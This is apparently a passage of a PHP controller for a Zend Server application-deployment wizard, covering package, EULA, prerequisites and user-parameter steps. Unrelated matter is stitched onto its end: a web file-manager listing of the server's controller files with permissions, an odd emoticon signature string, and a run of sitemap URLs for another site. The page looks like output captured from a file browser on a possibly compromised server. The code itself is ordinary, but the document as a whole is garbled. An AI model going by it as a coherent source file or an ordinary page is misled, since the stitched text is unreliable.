        } catch (Exception $e) {
            Log::err('Could not retrieve the application package by file path(6): '.$e->getMessage());
            throw new Exception('The aplication package cannot be found.  Retry your last action and if this problem persists, go to the Zend Support Center at: http://www.zend.com/support-center');
        }


        $model = $this->getLocator()->get('Deployment\Model');

        /* @var $form \Deployment\Forms\SetInstallation */
        $form = $this->getLocator('Deployment\Form\SetInstallation');
        $form->fillWithPackageData($package);

        /* @var \Zend\Http\PhpEnvironment\Request */
        $request = $this->getRequest();

        if ($request->isPost()) {
            $params = $request->getPost()->toArray();
            if (isset($params ['vhosts'])) { // Form was submitted
                $form->setData($params);
                $form->setSessionStorage($sessionStorage);
                $valid         = $form->isValid();
                $errorMessages = array();
                if ($valid) {
                    try {
                        $form->process($model, $path);
                    } catch (Exception $ex) {
                        $errorMessages[] = $ex->getMessage();
                        $valid           = false;
                    }
                }

                if (!$valid) {
                    // TODO: add error message check
                    $viewModel->errorMessage = 'Invalid data';

                    foreach ($form->getMessages() as $elementName => $message) {
                        if (!empty($message)) {
                            $label = $form->get($elementName)->getLabel();
                            foreach ($message as $errorMsg) {
                                $errorMessages[] = $label.': '.$errorMsg;
                            }
                        }
                    }

                    $viewModel->errorMessage = implode(',', $errorMessages);
                }
            }
        }

        $viewModel->defaultPort = $this->getDeploymentMapper()->getDefaultServerPort();
        $viewModel->defaultHost = $_SERVER['SERVER_NAME'];
        $viewModel->valid       = $valid;
        $viewModel->package     = $package;
        $viewModel->form        = $form;
        return $viewModel;
    }

    public function readmeAction()
    {
        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);
        $viewModel->setTemplate('deployment/wizard/readme');
        $form      = new \Zend\Form\Form ();
        $form->setAttribute('id', 'deployment-readme');

        $eulaContent = new \Zend\Form\Element\Textarea('readmeContent');
        $eulaContent->setName('readmeContent');
        $eulaContent->setAttributes(array(
            'id' => 'readmeContent',
            'rows' => '22',
            'readonly' => 'readonly',
            'style' => 'resize:none; font-family:Arial, Helvetica, sans-serif; font-size:12px;',
            'value' => $this->getReadmeContents()
        ));

        $form->add($eulaContent);

        $viewModel->hasReadme = ($this->getReadmeContents()) ? true : false;
        $viewModel->form      = $form;

        return $viewModel;
    }

    public function eulaAction()
    {
        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);
        $viewModel->setTemplate('deployment/wizard/eula');
        $form      = new \Zend\Form\Form ();
        $form->setAttribute('id', 'deployment-eula');

        $eulaContent = new \Zend\Form\Element\Textarea('eulaContent');
        $eulaContent->setName('eulaContent');
        $eulaContent->setAttributes(array(
            'id' => 'eulaContent',
            'rows' => '22',
            'readonly' => 'readonly',
            'style' => 'resize:none; font-family:Arial, Helvetica, sans-serif; font-size:12px;',
            'value' => $this->getEulaContents()
        ));

        $form->add($eulaContent);

        $acceptTerms = new \Zend\Form\Element\Checkbox('acceptTerms');
        $acceptTerms
            ->setLabel(_t('I have read and agree to the license agreement'))
            ->setValue('0')
            ->setAttribute('id', 'accept-terms')
            ->setAttribute('onclick', 'enableNextButton()');

        $form->add($acceptTerms);

        $viewModel->hasEula = ($this->getEulaContents()) ? true : false;
        $viewModel->form    = $form;

        return $viewModel;
    }

    public function prerequisitesAction()
    {
        $jsonOut = $this->getRequest()->getQuery('json');

        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        try {
            $sessionStorage = new SessionStorage($wizardId);
            $filePath       = $sessionStorage->getPackageFilePath();
        } catch (Exception $e) {
            throw new Exception('Zend Deployment could not locate the application package. Retry your last action and if this problem persists, go to the Zend Support Center at: http://www.zend.com/support-center');
        }

        $model                  = $this->getLocator()->get('Deployment\Model');
        $package                = $sessionStorage->getStoredPackage();
        $prerequisites          = $package->getPrerequisites();
        $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisites);
        $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
        $configurationContainer->createConfigurationSnapshot(
            $configuration->getGenerator()->getDirectives(), $configuration->getGenerator()->getExtensions(), null,
            $configuration->getGenerator()->needServerData()
        );


        if ($jsonOut) {
            $viewModel->setTemplate('deployment/wizard/prerequisites-json');
            $prerequisites = array(
                'valid' => $configuration->isValid($configurationContainer)
            );

            if (count($configuration->getMessages()) > 0) {
                $prerequisites['items'] = $configuration->getMessages();
            }

            $viewModel->json = $prerequisites;
        } else {
            $viewModel->setTemplate('deployment/wizard/prerequisites');

            $isValid = false;
            if ($configuration->isValid($configurationContainer)) {
                $isValid = true;
            }

            $viewModel->isValid  = $isValid;
            $viewModel->messages = $configuration->getMessages();
            $viewModel->wizardId = $wizardId;
        }


        return $viewModel;
    }

    public function userParamsAction()
    {
        $jsonOut  = $this->getRequest()->getQuery('json');
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $valid          = false;
        $model          = $this->getLocator()->get('Deployment\Model');
        $sessionStorage = new SessionStorage($wizardId);


        $requiredParams = array();
        if ($this->getRequest()->isPost()) {
            $params = $this->getRequest()->getPost()->toArray();

            //TODO this if-else has so much similar code it can make little hamsters sad
            if (!$this->isWizardRequest($params)) {
                // get required params by baseUrl
                try {
                    $baseUrl = $sessionStorage->getBaseUrl();
                } catch (\ZendServer\Exception $e) {
                    Log::err('BaseUrl was not provided for the deployment action');
                    return $viewModel->setVariable('success', false);
                }

                $pendingDeployment = $model->getPendingDeploymentByBaseUrl($baseUrl);

                $packageFile = $pendingDeployment->getDeploymentPackage();

                $requiredParams = $packageFile->getRequiredParams();

                $form = $model->getUserParamsForm($requiredParams);

                $sessionStorage->setUserParams($params);
                Log::info('Stored user params', array($params));

                if ($sessionStorage->hasUserParams()) {
                    $form->setData($sessionStorage->getUserParams());
                    $valid = $form->isValid();
                } else {
                    $valid = true;
                }

                if ($valid) {
                    try {
                        $model->storePendingDeployment($sessionStorage->getPackageFilePath(),
                            $sessionStorage->getUserParams(), $pendingDeployment->getZendParams());
                    } catch (\Exception $e) {
                        Log::err('Could not store user parameters');
                    }
                } else {
                    Log::err('Submitted user parameters are invalid');
                }

                if ($jsonOut) {
                    $viewModel->setTemplate('deployment/wizard/user-params-json');
                    $viewModel->json = array(
                        'valid' => $valid,
                        'errors' => $form->getMessages()
                    );
                }
            } else {
                // get required params by filePath
                try {
                    $filePath = $sessionStorage->getPackageFilePath();
                } catch (Exception $e) {
                    throw new Exception('Zend Deployment could not locate the application package. Retry your last action and if this problem persists, go to the Zend Support Center at: http://www.zend.com/support-center');
                }

                $package        = $sessionStorage->getStoredPackage();
                $requiredParams = $package->getRequiredParams();

                if (empty($requiredParams) || !array_key_exists('elements', $requiredParams)) {
                    return $viewModel;
                }

                $userParams = array();
                if ($sessionStorage->hasApplicationId()) {
                    $application = $model->getApplicationById($sessionStorage->getApplicationId());
                    $userParams  = $application->getUserParams();
                } else {
                    $userParams = array();
                }

                $form = $model->getUserParamsForm($requiredParams, $userParams);
                if ($sessionStorage->hasUserParams() && $sessionStorage->getUserParams()) {
                    $valid = $form->isValid();
                } else {
                    $valid = true;
                }
            }
        }

        // ZSRV-7469 added protection using enter key to submit
        $form->setAttribute('onsubmit', 'return false;');
        $viewModel->form  = $form;
        $viewModel->valid = $valid;

        return $viewModel;
    }

    public function summaryAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel();
        $viewModel->setTerminal(true);
        $viewModel->setVariable('success', true);

        $sessionStorage = new SessionStorage($wizardId);
        try {
            $baseUrl = $sessionStorage->getBaseUrl();
        } catch (Exception $e) {
            Log::err('BaseUrl was not provided for the deployment action');
            return $viewModel->setVariable('success', false);
        }

        $deploymentModel   = new \Deployment\Model ();
        $pendingDeployment = $deploymentModel->getPendingDeploymentByBaseUrl($baseUrl);
        $packageFile       = $pendingDeployment->getDeploymentPackage();
        $userParamsForm    = $deploymentModel->getUserParamsForm($packageFile->getRequiredParams(),
            $pendingDeployment->getUserParams());

        $viewModel->applicationName = $packageFile->getName();
        $viewModel->version         = $packageFile->getVersion();
        $viewModel->logo            = $packageFile->getLogo();

        $monitorRulePackes = $packageFile->getMonitorRules();
        if (empty($monitorRulePackes)) {
            $viewModel->containMonitorRules = false;
        } else {
            $viewModel->containMonitorRules = true;
        }

        $pagecacheRulePackes = $packageFile->getPageCacheRules();
        if (empty($pagecacheRulePackes)) {
            $viewModel->containPageCacheRules = false;
        } else {
            $viewModel->containPageCacheRules = true;
        }

        $zendParams                     = $pendingDeployment->getZendParams();
        $viewModel->userApplicationName = $zendParams['userApplicationName'];
        $viewModel->baseUrl             = $zendParams['baseUrl'];

        $viewModel->userParamsForm = $userParamsForm;

        return $viewModel;
    }

    public function submitAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $viewModel->setVariable('success', true);

        $sessionStorage = new SessionStorage($wizardId);
        try {
            $baseUrl = $sessionStorage->getBaseUrl();
        } catch (Exception $e) {
            Log::err('BaseUrl was not provided for the deployment action');
            return $viewModel->setVariable('success', false);
        }

        $deploymentModel = $this->getLocator()->get('deploymentModel'); /* @var $deploymentModel \Deployment\Model */

        try {
            $deploymentModel->deployApplication($baseUrl, 0);
        } catch (Exception $e) {
            Log::err('deployApplication call failed');
            return $viewModel->setVariable('success', false);
        }

        return $viewModel;
    }

    public function cancelAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $viewModel->setVariable('success', true);

        $sessionStorage = new SessionStorage($wizardId);

        try {
            $baseUrl = $sessionStorage->getBaseUrl();
        } catch (Exception $e) {
            Log::notice('BaseUrl was not provided for the cancel action');
            $sessionStorage->clear();
            return $viewModel;
        }

        $deploymentModel = $this->getLocator()->get('deploymentModel'); /*
         * @var
         * $deploymentModel
         * \Deployment\Model
         */
        $deploymentModel->cancelPendingDeployment($baseUrl);

        $sessionStorage->clear();

        return $viewModel;
    }

    /**
     * @param string $packagePath
     * @throws \Deployment\Exception
     */
    protected function validateUploadedPackage($packagePath)
    {
        $this->getDeploymentMapper()->validatePackage($packagePath);
    }

    protected function getGuiTempDir()
    {
        return \ZendServer\FS\FS::getGuiTempDir();
    }

    /**
     * Get readme text
     *
     * @return string
     */
    private function getReadmeContents()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $sessionStorage = new SessionStorage($wizardId);
        $package        = $sessionStorage->getStoredPackage();
        return $package->getReadme();
    }

    /**
     * Get EULA text
     *
     * @return string
     */
    private function getEulaContents()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $sessionStorage = new SessionStorage($wizardId);
        $package        = $sessionStorage->getStoredPackage();
        return $package->getEula();
    }

    /**
     * @param array $params
     * @return boolean
     */
    private function isWizardRequest($params)
    {
        return isset($params['wizardAjax']);
    }

    /**
     * Return the linux distro name
     * @return mixed
     */
    private function getLinuxDistro()
    {
        exec('less /etc/issue', $output);
        if (count($output) > 0) {

            $distros = array(
                'Ubuntu' => 'Ubuntu',
                'Fedora' => 'Fedora',
                'OEL' => 'Oracle',
                'RHEL' => 'Red Hat',
                'OpenSUSE' => 'openSUSE',
                'SUSE' => 'SUSE',
                'Debian' => 'Debian',
                'CentOS' => 'CentOS',
            );

            foreach ($distros as $distro => $keyword) {
                foreach ($output as $outputRow) {
                    if (strpos($outputRow, $keyword) !== false) {
                        return $distro;
                    }
                }
            }
        }

        return '';
    }
}

Filemanager

Name Type Size Permission Actions
DefineWizardController.php File 2.64 KB 0644
IndexController.php File 3.98 KB 0644
WebAPI112Controller.php File 885 B 0644
WebAPI115Controller.php File 17.28 KB 0644
WebAPI19Controller.php File 1.03 KB 0644
WebAPIController.php File 89.84 KB 0644
WizardController.php File 59.54 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml